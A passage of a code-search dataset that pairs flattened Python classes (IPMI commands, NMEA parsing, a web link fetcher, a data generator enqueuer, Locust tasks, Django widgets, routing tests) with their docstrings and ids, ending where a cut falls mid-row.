code
stringlengths
4
4.48k
docstring
stringlengths
1
6.45k
_id
stringlengths
24
24
class FWRegisterReadCommand(Command, ResponseParserMixIn): <NEW_LINE> <INDENT> name = "Register Firmware Read" <NEW_LINE> result_type = FWRegisterReadResult <NEW_LINE> response_fields = { 'File Name' : {}, 'Partition' : {}, 'Type' : {}, 'Error' : {} } <NEW_LINE> def parse_response(self, out, err): <NEW_LINE> <INDENT> result = super(FWRegisterReadCommand, self).parse_response(out, err) <NEW_LINE> if hasattr(result, "error"): <NEW_LINE> <INDENT> raise IpmiError(result.error) <NEW_LINE> <DEDENT> <DEDENT> @property <NEW_LINE> def ipmitool_args(self): <NEW_LINE> <INDENT> return ["cxoem", "fw", "register", "read", self._params['partition'], self._params['filename'], self._params['image_type']]
cxoem fw register read command
62598fa4fff4ab517ebcd6a2
class NMEA(object): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> gps <NEW_LINE> <DEDENT> def check_nmea0183(self,s): <NEW_LINE> <INDENT> if s[0] != '$': <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> if s[-3] != '*': <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> checksum = 0 <NEW_LINE> for c in s[1:-3]: <NEW_LINE> <INDENT> checksum ^= ord(c) <NEW_LINE> <DEDENT> if int(s[-2:],16) != checksum: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> return True
classdocs
62598fa4f7d966606f747ea1
class cubo: <NEW_LINE> <INDENT> def __init__(self,a,b,particulas = []): <NEW_LINE> <INDENT> self.a = a <NEW_LINE> self.b = b <NEW_LINE> self.particulas = particulas <NEW_LINE> self.volumen = (b-a)**3 <NEW_LINE> self.area = (b-a)**2 <NEW_LINE> <DEDENT> def generar(self,vli,m,n): <NEW_LINE> <INDENT> self.vli = vli <NEW_LINE> for i in range(0,n): <NEW_LINE> <INDENT> vx = vli*random()*neg() <NEW_LINE> vy = vli*random()*neg() <NEW_LINE> vz = vli*random()*neg() <NEW_LINE> x = random() <NEW_LINE> y = random() <NEW_LINE> z = random() <NEW_LINE> x = x*(self.b-self.a)+ self.a <NEW_LINE> y = y*(self.b-self.a)+ self.a <NEW_LINE> z = z*(self.b-self.a)+ self.a <NEW_LINE> u = particula([x,y,z],m,[vx,vy,vz]) <NEW_LINE> self.particulas.append(u)
Cubo de lado b-a, que contiene instancias de objetos particula. Tiene la capacidad de generar particulas aleatorias.
62598fa4f548e778e596b462
class CommandCompleter(Completer): <NEW_LINE> <INDENT> def __init__(self, dbman, mode): <NEW_LINE> <INDENT> self.dbman = dbman <NEW_LINE> self.mode = mode <NEW_LINE> <DEDENT> def complete(self, original): <NEW_LINE> <INDENT> cmdlist = command.COMMANDS['global'] <NEW_LINE> cmdlist.update(command.COMMANDS[self.mode]) <NEW_LINE> olen = len(original) <NEW_LINE> return [t[olen:] + '' for t in cmdlist if t.startswith(original)]
completes commands
62598fa4460517430c431fba
class ServerListener(object): <NEW_LINE> <INDENT> def __init__(self, server): <NEW_LINE> <INDENT> self._server = server <NEW_LINE> self.start_listening() <NEW_LINE> <DEDENT> def start_listening(self): <NEW_LINE> <INDENT> self._server.add_listener(self) <NEW_LINE> <DEDENT> def stop_listening(self): <NEW_LINE> <INDENT> self._server.remove_listener(self) <NEW_LINE> self._server = None <NEW_LINE> <DEDENT> def on_connected(self, connection): <NEW_LINE> <INDENT> raise NotImplementedError <NEW_LINE> <DEDENT> def on_disconnected(self, connection): <NEW_LINE> <INDENT> raise NotImplementedError <NEW_LINE> <DEDENT> def on_read(self, connection, text): <NEW_LINE> <INDENT> raise NotImplementedError
An interface for listening to the server.
62598fa4e1aae11d1e7ce782
class MockPLM(): <NEW_LINE> <INDENT> def __init__(self, loop=None): <NEW_LINE> <INDENT> self.sentmessage = '' <NEW_LINE> self._message_callbacks = MessageCallback() <NEW_LINE> self.loop = loop <NEW_LINE> self.devices = LinkedDevices() <NEW_LINE> <DEDENT> @property <NEW_LINE> def message_callbacks(self): <NEW_LINE> <INDENT> return self._message_callbacks <NEW_LINE> <DEDENT> def send_msg(self, msg, wait_nak=True, wait_timeout=2): <NEW_LINE> <INDENT> _LOGGER.debug('TX: %s:%s', id(msg), msg) <NEW_LINE> self.sentmessage = msg.hex <NEW_LINE> <DEDENT> def message_received(self, msg): <NEW_LINE> <INDENT> _LOGGER.debug('RX: %s:%s', id(msg), msg) <NEW_LINE> if hasattr(msg, 'address'): <NEW_LINE> <INDENT> device = self.devices[msg.address.id] <NEW_LINE> if device: <NEW_LINE> <INDENT> device.receive_message(msg) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> _LOGGER.info('Received message for unknown device %s', msg.address) <NEW_LINE> <DEDENT> <DEDENT> for callback in ( self._message_callbacks.get_callbacks_from_message(msg)): <NEW_LINE> <INDENT> callback(msg) <NEW_LINE> <DEDENT> <DEDENT> def start_all_linking(self, linkcode, group): <NEW_LINE> <INDENT> self.sentmessage = b'02112233445566'
Mock PLM class for testing devices.
62598fa44a966d76dd5eeda0
class Bullet(Sprite): <NEW_LINE> <INDENT> def __init__(self, ai_settings, screen, ship): <NEW_LINE> <INDENT> super(Bullet, self).__init__ <NEW_LINE> self.screen = screen <NEW_LINE> self.rect = pygame.Rect(0, 0, ai_settings.bullet_width, ai_settings.bullet_height) <NEW_LINE> self.rect.left = ship.rect.left <NEW_LINE> self.rect.top = ship.rect.top <NEW_LINE> self.color = ai_settings.bullet_color <NEW_LINE> self.speed_factor = ai_settings.bullet_speed_factor <NEW_LINE> self.y = float(self.rect.left) <NEW_LINE> <DEDENT> def update(self): <NEW_LINE> <INDENT> self.y -= self.speed_factor <NEW_LINE> self.left = self.y <NEW_LINE> <DEDENT> def draw_bullet(self): <NEW_LINE> <INDENT> pygame.draw.rect(self.screen, self.color, self.rect)
A class to manage bullets fired from rocket.
62598fa48c0ade5d55dc35ef
class EmailDashboardDataHandler(base.BaseHandler): <NEW_LINE> <INDENT> @acl_decorators.can_manage_email_dashboard <NEW_LINE> def get(self): <NEW_LINE> <INDENT> cursor = self.request.get('cursor') <NEW_LINE> num_queries_to_fetch = self.request.get('num_queries_to_fetch') <NEW_LINE> if not num_queries_to_fetch.isdigit(): <NEW_LINE> <INDENT> raise self.InvalidInputException( '400 Invalid input for query results.') <NEW_LINE> <DEDENT> query_models, next_cursor, more = ( user_models.UserQueryModel.fetch_page( int(num_queries_to_fetch), cursor)) <NEW_LINE> submitters_settings = user_services.get_users_settings( list(set([model.submitter_id for model in query_models]))) <NEW_LINE> submitter_details = { submitter.user_id: submitter.username for submitter in submitters_settings } <NEW_LINE> queries_list = [{ 'id': model.id, 'submitter_username': submitter_details[model.submitter_id], 'created_on': model.created_on.strftime('%d-%m-%y %H:%M:%S'), 'status': model.query_status, 'num_qualified_users': len(model.user_ids) } for model in query_models] <NEW_LINE> data = { 'recent_queries': queries_list, 'cursor': next_cursor if (next_cursor and more) else None } <NEW_LINE> self.render_json(data) <NEW_LINE> <DEDENT> @acl_decorators.can_manage_email_dashboard <NEW_LINE> def post(self): <NEW_LINE> <INDENT> data = self.payload['data'] <NEW_LINE> kwargs = {key: data[key] for key in data if data[key] is not None} <NEW_LINE> self._validate(kwargs) <NEW_LINE> query_id = user_query_services.save_new_query_model( self.user_id, **kwargs) <NEW_LINE> job_id = user_query_jobs_one_off.UserQueryOneOffJob.create_new() <NEW_LINE> params = {'query_id': query_id} <NEW_LINE> user_query_jobs_one_off.UserQueryOneOffJob.enqueue( job_id, additional_job_params=params) <NEW_LINE> query_model = user_models.UserQueryModel.get(query_id) <NEW_LINE> query_data = { 'id': query_model.id, 'submitter_username': ( user_services.get_username(query_model.submitter_id)), 'created_on': query_model.created_on.strftime('%d-%m-%y %H:%M:%S'), 'status': query_model.query_status, 'num_qualified_users': len(query_model.user_ids) } <NEW_LINE> data = { 'query': query_data } <NEW_LINE> self.render_json(data) <NEW_LINE> <DEDENT> def _validate(self, data): <NEW_LINE> <INDENT> possible_keys = [ 'has_not_logged_in_for_n_days', 'inactive_in_last_n_days', 'created_at_least_n_exps', 'created_fewer_than_n_exps', 'edited_at_least_n_exps', 'edited_fewer_than_n_exps'] <NEW_LINE> for key, value in data.iteritems(): <NEW_LINE> <INDENT> if (key not in possible_keys or not isinstance(value, int) or value < 0): <NEW_LINE> <INDENT> raise self.InvalidInputException('400 Invalid input for query.')
Query data handler.
62598fa47d43ff2487427361
class Linkfetcher(object): <NEW_LINE> <INDENT> def __init__(self, url): <NEW_LINE> <INDENT> self.url = url <NEW_LINE> self.urls = [] <NEW_LINE> self.__version__ = "0.0.1" <NEW_LINE> self.agent = "%s/%s" % (__name__, self.__version__) <NEW_LINE> <DEDENT> def _addHeaders(self, request): <NEW_LINE> <INDENT> request.add_header("User-Agent", self.agent) <NEW_LINE> <DEDENT> def __getitem__(self, x): <NEW_LINE> <INDENT> return self.urls[x] <NEW_LINE> <DEDENT> def open(self): <NEW_LINE> <INDENT> url = self.url <NEW_LINE> try: <NEW_LINE> <INDENT> request = urllib.request.Request(url) <NEW_LINE> handle = urllib.request.build_opener() <NEW_LINE> <DEDENT> except IOError: <NEW_LINE> <INDENT> return None <NEW_LINE> <DEDENT> return (request, handle) <NEW_LINE> <DEDENT> def linkfetch(self): <NEW_LINE> <INDENT> request, handle = self.open() <NEW_LINE> self._addHeaders(request) <NEW_LINE> if handle: <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> content = six.text_type(handle.open(request).read(), "utf-8", errors="replace") <NEW_LINE> soup = BeautifulSoup(content) <NEW_LINE> tags = soup('a') <NEW_LINE> <DEDENT> except urllib.request.HTTPError as error: <NEW_LINE> <INDENT> if error.code == 404: <NEW_LINE> <INDENT> print("ERROR: %s -> %s" % (error, error.url), file=sys.stderr) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> print("ERROR: %s" % error, file=sys.stderr) <NEW_LINE> <DEDENT> tags = [] <NEW_LINE> <DEDENT> except urllib.request.URLError as error: <NEW_LINE> <INDENT> print("ERROR: %s" % error, file=sys.stderr) <NEW_LINE> tags = [] <NEW_LINE> <DEDENT> for tag in tags: <NEW_LINE> <INDENT> href = tag.get("href") <NEW_LINE> if href is not None: <NEW_LINE> <INDENT> url = urllib.parse.urljoin(self.url, escape(href)) <NEW_LINE> if url not in self: <NEW_LINE> <INDENT> self.urls.append(url)
Link Fetcher class to abstract the link fetching.
62598fa455399d3f056263e2
class IDatabase_driver(object): <NEW_LINE> <INDENT> def __init__(self, connection_param=None): <NEW_LINE> <INDENT> self.verify_database_parameters(connection_param) <NEW_LINE> <DEDENT> def verify_database_parameters(self, params): <NEW_LINE> <INDENT> if not isinstance(params, Database_parameters): <NEW_LINE> <INDENT> raise TypeError('Incorrect connection parameters!') <NEW_LINE> <DEDENT> <DEDENT> def active_connection(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def shutdown_connection(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def test_connection(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def get_database_list(self): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def get_table_list(self, database_name): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def get_records(self, database_name, table_name): <NEW_LINE> <INDENT> pass
classdocs
62598fa4be8e80087fbbef20
class _DeferredRunTest(RunTest): <NEW_LINE> <INDENT> def _got_user_failure(self, failure, tb_label='traceback'): <NEW_LINE> <INDENT> return self._got_user_exception( (failure.type, failure.value, failure.getTracebackObject()), tb_label=tb_label)
Base for tests that return Deferreds.
62598fa401c39578d7f12c3d
class ReplyCategory(models.Model): <NEW_LINE> <INDENT> _name = 'reply.category' <NEW_LINE> name = fields.Char(string=u'问题类别', required=True) <NEW_LINE> reply_ids = fields.One2many('reply', 'category_id', string=u'热门问题')
自动回复问题分类
62598fa4aad79263cf42e694
class Peg(drawable): <NEW_LINE> <INDENT> radius = .10 <NEW_LINE> height = .1 <NEW_LINE> slices = 20 <NEW_LINE> stacks = 20 <NEW_LINE> def draw(self): <NEW_LINE> <INDENT> glPushMatrix() <NEW_LINE> self.translate() <NEW_LINE> setMaterial(materials['greenshiny']) <NEW_LINE> glutSolidCylinder(self.radius, self.height, self.slices, self.stacks) <NEW_LINE> glPopMatrix() <NEW_LINE> <DEDENT> def contact(self, disc): <NEW_LINE> <INDENT> distance = disc.position - self.position <NEW_LINE> if distance.length() < self.radius + disc.radius: <NEW_LINE> <INDENT> return True <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> return False <NEW_LINE> <DEDENT> <DEDENT> def collide(self, disc, speed): <NEW_LINE> <INDENT> diffVector = disc.position - self.position <NEW_LINE> if diffVector.x == 0: <NEW_LINE> <INDENT> if random.choice((True, False)): <NEW_LINE> <INDENT> diffVector.x = .05 <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> diffVector.x = -.05 <NEW_LINE> <DEDENT> <DEDENT> diffVector.normalize() <NEW_LINE> disc.velocity += diffVector <NEW_LINE> return speed * .90
Peg object. The position of the peg should be relative to the board
62598fa47d847024c075c284
class UnsortedTableMap(MapBase): <NEW_LINE> <INDENT> def __init__(self): <NEW_LINE> <INDENT> self._table = [] <NEW_LINE> <DEDENT> def __getitem__(self, k): <NEW_LINE> <INDENT> for item in self._table: <NEW_LINE> <INDENT> if k == item._key: <NEW_LINE> <INDENT> return item._value <NEW_LINE> <DEDENT> <DEDENT> raise KeyError('Key Error: ' + repr(k)) <NEW_LINE> <DEDENT> def __setitem__(self, k, v): <NEW_LINE> <INDENT> for item in self._table: <NEW_LINE> <INDENT> if item._key == k: <NEW_LINE> <INDENT> item._value = v <NEW_LINE> return <NEW_LINE> <DEDENT> <DEDENT> self._table.append(self._Item(k, v)) <NEW_LINE> <DEDENT> def __delitem__(self, k): <NEW_LINE> <INDENT> found = False <NEW_LINE> for j in range(len(self._table)): <NEW_LINE> <INDENT> if self._table[j]._key == k: <NEW_LINE> <INDENT> found = True <NEW_LINE> break <NEW_LINE> <DEDENT> <DEDENT> if found: <NEW_LINE> <INDENT> self._table.pop(j) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> raise KeyError('Key Error: ' + repr(k)) <NEW_LINE> <DEDENT> <DEDENT> def __len__(self): <NEW_LINE> <INDENT> return len(self._table) <NEW_LINE> <DEDENT> def __iter__(self): <NEW_LINE> <INDENT> for item in self._table: <NEW_LINE> <INDENT> yield item._key <NEW_LINE> <DEDENT> <DEDENT> def items(self): <NEW_LINE> <INDENT> for item in self._table: <NEW_LINE> <INDENT> yield (item._key, item._value)
Map implementation using an unsorted table.
62598fa4009cb60464d013e3
class Room: <NEW_LINE> <INDENT> def __init__(self, **kwargs): <NEW_LINE> <INDENT> self.number = 0 <NEW_LINE> self.name ='' <NEW_LINE> self.connects_to = [] <NEW_LINE> self.description = "" <NEW_LINE> for key, value in kwargs.items(): <NEW_LINE> <INDENT> setattr(self, key, value) <NEW_LINE> <DEDENT> <DEDENT> def __str__(self): <NEW_LINE> <INDENT> return str(self.number) <NEW_LINE> <DEDENT> def remove_connect(self, arg_connect): <NEW_LINE> <INDENT> if arg_connect in self.connects_to: <NEW_LINE> <INDENT> self.connects_to.remove(arg_connects) <NEW_LINE> <DEDENT> <DEDENT> def add_connect(self, arg_connect): <NEW_LINE> <INDENT> if arg_connect not in self.connects_to: <NEW_LINE> <INDENT> self.connects_to.append(arg_connect) <NEW_LINE> <DEDENT> <DEDENT> def is_valid_connect(self, arg_connect): <NEW_LINE> <INDENT> return arg_connect in self.connects_to <NEW_LINE> <DEDENT> def get_number_of_connects(self): <NEW_LINE> <INDENT> return len(self.connects_to) <NEW_LINE> <DEDENT> def get_connects(self): <NEW_LINE> <INDENT> return self.connects_to <NEW_LINE> <DEDENT> def describe(self): <NEW_LINE> <INDENT> if len(self.description) > 0: <NEW_LINE> <INDENT> print(self.description) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> print("You are in room {}.\nPassages lead to {}".format(self.number, self.connects_to))
Defines a room. A room has a name (or number), a list of other rooms that it connects to. and a description. How these rooms are built into something larger (cave, dungeon, skyscraper) is up to you.
62598fa4adb09d7d5dc0a44a
class LocaleTime(object): <NEW_LINE> <INDENT> def _LocaleTime__calc_am_pm(self, *args, **kwargs): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def _LocaleTime__calc_date_time(self, *args, **kwargs): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def _LocaleTime__calc_month(self, *args, **kwargs): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def _LocaleTime__calc_timezone(self, *args, **kwargs): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def _LocaleTime__calc_weekday(self, *args, **kwargs): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def _LocaleTime__pad(self, *args, **kwargs): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> def __init__(self, *args, **kwargs): <NEW_LINE> <INDENT> pass <NEW_LINE> <DEDENT> __weakref__ = property(lambda self: object(), lambda self, v: None, lambda self: None) <NEW_LINE> __dict__ = None
Stores and handles locale-specific information related to time. ATTRIBUTES: f_weekday -- full weekday names (7-item list) a_weekday -- abbreviated weekday names (7-item list) f_month -- full month names (13-item list; dummy value in [0], which is added by code) a_month -- abbreviated month names (13-item list, dummy value in [0], which is added by code) am_pm -- AM/PM representation (2-item list) LC_date_time -- format string for date/time representation (string) LC_date -- format string for date representation (string) LC_time -- format string for time representation (string) timezone -- daylight- and non-daylight-savings timezone representation (2-item list of sets) lang -- Language used by instance (2-item tuple)
62598fa4435de62698e9bcb3
class AveragePool(Layer): <NEW_LINE> <INDENT> def __init__(self, kernel_size, strides): <NEW_LINE> <INDENT> super(AveragePool, self).__init__() <NEW_LINE> self._kernel_size = kernel_size <NEW_LINE> self._strides = (strides, strides) if isinstance(strides, int) else strides <NEW_LINE> self._built = False <NEW_LINE> <DEDENT> def build(self, input_shape): <NEW_LINE> <INDENT> assert len(input_shape) == 4, input_shape <NEW_LINE> self._built = True <NEW_LINE> return _get_pool_output_shape(input_shape, self._strides) <NEW_LINE> <DEDENT> def apply(self, inputs, training): <NEW_LINE> <INDENT> del training <NEW_LINE> assert self._built <NEW_LINE> return tf.nn.avg_pool( inputs, self._kernel_size, self._strides, padding='SAME')
Network layer corresponding to an average pooling function.
62598fa491f36d47f2230e02
class _UDPRequestHandler(socketserver.BaseRequestHandler): <NEW_LINE> <INDENT> def handle(self): <NEW_LINE> <INDENT> data = self.request[0] <NEW_LINE> callback = self.server.handle <NEW_LINE> try: <NEW_LINE> <INDENT> packet = OSCPacket(data) <NEW_LINE> now = calendar.timegm(time.gmtime()) <NEW_LINE> if packet.time > now: <NEW_LINE> <INDENT> time.sleep(packet.time - now) <NEW_LINE> <DEDENT> callback(self.client_address, packet.message, packet.time) <NEW_LINE> <DEDENT> except OSCParseError: <NEW_LINE> <INDENT> logging.warning("OSCParseError: Could not parse OSC packet")
Handles correct UDP messages for all types of server. Whether this will be run on its own thread, the server's or a whole new process depends on the server you instantiated, look at their documentation. This method is called after a basic sanity check was done on the datagram, basically whether this datagram looks like an osc message or bundle, if not the server won't even bother to call it and so no new threads/processes will be spawned.
62598fa48e7ae83300ee8f60
class Gumball: <NEW_LINE> <INDENT> def __init__(self, x = 0, y = 0, color = RED): <NEW_LINE> <INDENT> self.x = x <NEW_LINE> self.y = y <NEW_LINE> self.color = color
Represents a gumball. Has no image because it is drawn as a circle.
62598fa4eab8aa0e5d30bc48
class GeneratorEnqueuer(SequenceEnqueuer): <NEW_LINE> <INDENT> def __init__(self, generator, use_multiprocessing=False, wait_time=0.05, random_seed=None): <NEW_LINE> <INDENT> self.wait_time = wait_time <NEW_LINE> self._generator = generator <NEW_LINE> self._use_multiprocessing = use_multiprocessing <NEW_LINE> self._threads = [] <NEW_LINE> self._stop_event = None <NEW_LINE> self.queue = None <NEW_LINE> self.random_seed = random_seed <NEW_LINE> <DEDENT> def start(self, workers=1, max_queue_size=10): <NEW_LINE> <INDENT> def data_generator_task(): <NEW_LINE> <INDENT> while not self._stop_event.is_set(): <NEW_LINE> <INDENT> try: <NEW_LINE> <INDENT> if self._use_multiprocessing or self.queue.qsize() < max_queue_size: <NEW_LINE> <INDENT> generator_output = next(self._generator) <NEW_LINE> self.queue.put(generator_output) <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> time.sleep(self.wait_time) <NEW_LINE> <DEDENT> <DEDENT> except Exception: <NEW_LINE> <INDENT> self._stop_event.set() <NEW_LINE> raise <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> try: <NEW_LINE> <INDENT> if self._use_multiprocessing: <NEW_LINE> <INDENT> self.queue = multiprocessing.Queue(maxsize=max_queue_size) <NEW_LINE> self._stop_event = multiprocessing.Event() <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> self.queue = queue.Queue() <NEW_LINE> self._stop_event = threading.Event() <NEW_LINE> <DEDENT> for _ in range(workers): <NEW_LINE> <INDENT> if self._use_multiprocessing: <NEW_LINE> <INDENT> np.random.seed(self.random_seed) <NEW_LINE> thread = multiprocessing.Process(target=data_generator_task) <NEW_LINE> thread.daemon = True <NEW_LINE> if self.random_seed is not None: <NEW_LINE> <INDENT> self.random_seed += 1 <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> thread = threading.Thread(target=data_generator_task) <NEW_LINE> <DEDENT> self._threads.append(thread) <NEW_LINE> thread.start() <NEW_LINE> <DEDENT> <DEDENT> except: <NEW_LINE> <INDENT> self.stop() <NEW_LINE> raise <NEW_LINE> <DEDENT> <DEDENT> def is_running(self): <NEW_LINE> <INDENT> return self._stop_event is not None and not self._stop_event.is_set() <NEW_LINE> <DEDENT> def stop(self, timeout=None): <NEW_LINE> <INDENT> if self.is_running(): <NEW_LINE> <INDENT> self._stop_event.set() <NEW_LINE> <DEDENT> for thread in self._threads: <NEW_LINE> <INDENT> if thread.is_alive(): <NEW_LINE> <INDENT> if self._use_multiprocessing: <NEW_LINE> <INDENT> thread.terminate() <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> thread.join(timeout) <NEW_LINE> <DEDENT> <DEDENT> <DEDENT> if self._use_multiprocessing: <NEW_LINE> <INDENT> if self.queue is not None: <NEW_LINE> <INDENT> self.queue.close() <NEW_LINE> <DEDENT> <DEDENT> self._threads = [] <NEW_LINE> self._stop_event = None <NEW_LINE> self.queue = None <NEW_LINE> <DEDENT> def get(self): <NEW_LINE> <INDENT> while self.is_running(): <NEW_LINE> <INDENT> if not self.queue.empty(): <NEW_LINE> <INDENT> inputs = self.queue.get() <NEW_LINE> if inputs is not None: <NEW_LINE> <INDENT> yield inputs <NEW_LINE> <DEDENT> <DEDENT> else: <NEW_LINE> <INDENT> time.sleep(self.wait_time)
Builds a queue out of a data generator. Used in `fit_generator`, `evaluate_generator`, `predict_generator`. Arguments: generator: a generator function which endlessly yields data use_multiprocessing: use multiprocessing if True, otherwise threading wait_time: time to sleep in-between calls to `put()` random_seed: Initial seed for workers, will be incremented by one for each workers.
62598fa48da39b475be030a0
class GetHostList(Component): <NEW_LINE> <INDENT> sys_name = configs.SYSTEM_NAME <NEW_LINE> class Form(BaseComponentForm): <NEW_LINE> <INDENT> app_id = forms.CharField(label=u'业务ID', required=True) <NEW_LINE> def clean(self): <NEW_LINE> <INDENT> data = self.cleaned_data <NEW_LINE> return { 'ApplicatioNID': data['app_id'], } <NEW_LINE> <DEDENT> <DEDENT> def handle(self): <NEW_LINE> <INDENT> data = self.form_data <NEW_LINE> data['operator'] = self.current_user.username <NEW_LINE> try: <NEW_LINE> <INDENT> response = self.outgoing.http_client.post( host=configs.host, path='', data=json.dumps(data), ) <NEW_LINE> <DEDENT> except: <NEW_LINE> <INDENT> response = { 'code': 0, 'data': [ { 'inner_ip': '127.0.0.1', 'plat_id': 1, 'host_name': 'just_for_test', 'maintainer': 'test', }, ] } <NEW_LINE> <DEDENT> code = str(response['code']) <NEW_LINE> if code == '0': <NEW_LINE> <INDENT> result = { 'result': True, 'data': response['data'], } <NEW_LINE> <DEDENT> else: <NEW_LINE> <INDENT> result = { 'result': False, 'message': result['extmsg'] } <NEW_LINE> <DEDENT> self.response.payload = result
@api {get} /api/c/compapi/hcp/get_host_list/ get_host_list @apiName get_host_list @apiGroup API-HCP @apiVersion 1.0.0 @apiDescription 查询主机列表 @apiParam {string} app_code app标识 @apiParam {string} app_secret app密钥 @apiParam {string} bk_token 当前用户登录态 @apiParam {int} app_id 业务ID @apiParam {array} [ip_list] 主机IP地址 @apiParamExample {json} Request-Example: { "app_code": "esb_test", "app_secret": "xxx", "bk_token": "xxx-xxx-xxx-xxx-xxx", "app_id": 1, "ip_list": [ { "ip": "127.0.0.1", "plat_id": 1, }, { "ip": "127.0.0.2" "plat_id": 1, } ] } @apiSuccessExample {json} Success-Response HTTP/1.1 200 OK { "result": true, "code": "00", "message": "", "data": [ { "inner_ip": "127.0.0.1", "plat_id": 1, "host_name": "db-1", "maintainer": "admin", }, { "inner_ip": "127.0.0.2", "plat_id": 1, "host_name": "db-2", "maintainer": "admin", } ], }
62598fa499cbb53fe6830d94
class TaskSequence(TaskSet): <NEW_LINE> <INDENT> def __init__(self, parent): <NEW_LINE> <INDENT> super(TaskSequence, self).__init__(parent) <NEW_LINE> self._index = 0 <NEW_LINE> self.tasks.sort(key=lambda t: t.locust_task_order if hasattr(t, 'locust_task_order') else 1) <NEW_LINE> <DEDENT> def get_next_task(self): <NEW_LINE> <INDENT> task = self.tasks[self._index] <NEW_LINE> self._index = (self._index + 1) % len(self.tasks) <NEW_LINE> return task
Class defining a sequence of tasks that a Locust user will execute. When a TaskSequence starts running, it will pick the task in `index` from the *tasks* attribute, execute it, and call its *wait_function* which will define a time to sleep for. This defaults to a uniformly distributed random number between *min_wait* and *max_wait* milliseconds. It will then schedule the `index + 1 % len(tasks)` task for execution and so on. TaskSequence can be nested with TaskSet, which means that a TaskSequence's *tasks* attribute can contain TaskSet instances as well as other TaskSequence instances. If the nested TaskSet is scheduled to be executed, it will be instantiated and called from the current executing TaskSet. Execution in the currently running TaskSet will then be handed over to the nested TaskSet which will continue to run until it throws an InterruptTaskSet exception, which is done when :py:meth:`TaskSet.interrupt() <locust.core.TaskSet.interrupt>` is called. (execution will then continue in the first TaskSet). In this class, tasks should be defined as a list, or simply define the tasks with the @seq_task decorator
62598fa466673b3332c30288
class CueOrigin (pyxb.binding.datatypes.string, pyxb.binding.basis.enumeration_mixin): <NEW_LINE> <INDENT> _ExpandedName = pyxb.namespace.ExpandedName(Namespace, 'CueOrigin') <NEW_LINE> _XSDLocation = pyxb.utils.utility.Location('http://ddex.net/xml/20100712/ddex.xsd', 284, 4) <NEW_LINE> _Documentation = 'A Type of Cue according to its origin.'
A Type of Cue according to its origin.
62598fa48e7ae83300ee8f61
class ImageDeserializer(wsgi.JSONRequestDeserializer): <NEW_LINE> <INDENT> def create(self, request): <NEW_LINE> <INDENT> return request <NEW_LINE> <DEDENT> def update(self, request): <NEW_LINE> <INDENT> return request
Handles deserialization of specific controller method requests.
62598fa4e64d504609df9319
class SliderWidget(BaseWidget): <NEW_LINE> <INDENT> def __init__(self, min_value, max_value, step, instance=None, can_delete_vote=True, key='', read_only=False, default='', template='ratings/slider_widget.html', attrs=None): <NEW_LINE> <INDENT> super(SliderWidget, self).__init__(attrs) <NEW_LINE> self.min_value = min_value <NEW_LINE> self.max_value = max_value <NEW_LINE> self.step = step <NEW_LINE> self.instance = instance <NEW_LINE> self.can_delete_vote = can_delete_vote <NEW_LINE> self.read_only = read_only <NEW_LINE> self.default = default <NEW_LINE> self.template = template <NEW_LINE> self.key = key <NEW_LINE> <DEDENT> def get_context(self, name, value, attrs=None): <NEW_LINE> <INDENT> attrs['type'] = 'hidden' <NEW_LINE> return { 'min_value': str(self.min_value), 'max_value': str(self.max_value), 'step': str(self.step), 'can_delete_vote': self.can_delete_vote, 'read_only': self.read_only, 'default': self.default, 'parent': super(SliderWidget, self).render(name, value, attrs), 'parent_id': self.get_parent_id(name, attrs), 'value': str(value), 'has_value': bool(value), 'slider_id': self.get_widget_id('slider', name, self.key), 'label_id': 'slider-label-%s' % name, 'remove_id': 'slider-remove-%s' % name, } <NEW_LINE> <DEDENT> def render(self, name, value, attrs=None): <NEW_LINE> <INDENT> context = self.get_context(name, value, attrs or {}) <NEW_LINE> return render_to_string(self.template, context)
Slider widget. In order to use this widget you must load the jQuery.ui slider javascript. This widget triggers the following javascript events: - *slider_change* with the vote value as argument (fired when the user changes his vote) - *slider_delete* without arguments (fired when the user deletes his vote) It's easy to bind these events using jQuery, e.g.:: $(document).bind('slider_change', function(event, value) { alert('New vote: ' + value); });
62598fa421bff66bcd722b25
@dataset({"main_routing_test": {"scenario": "distributed"}}) <NEW_LINE> class TestDistributedMaxDurationForDirectPathUpperLimit(NewDefaultScenarioAbstractTestFixture): <NEW_LINE> <INDENT> s = '8.98311981954709e-05;8.98311981954709e-05' <NEW_LINE> r = '0.0018864551621048887;0.0007186495855637672' <NEW_LINE> test_max_walking_direct_path_duration = _make_function_duration_over_upper_limit( s, r, 'walking', operator.truth ) <NEW_LINE> test_max_car_direct_path_duration = _make_function_duration_over_upper_limit(s, r, 'car', operator.truth) <NEW_LINE> test_max_bss_direct_path_duration = _make_function_duration_over_upper_limit(s, r, 'bss', operator.truth) <NEW_LINE> test_max_bike_direct_path_duration = _make_function_duration_over_upper_limit(s, r, 'bike', operator.truth) <NEW_LINE> a = '0.001077974378345651;0.0007186495855637672' <NEW_LINE> b = '8.98311981954709e-05;0.0002694935945864127' <NEW_LINE> test_max_taxi_direct_path_duration = 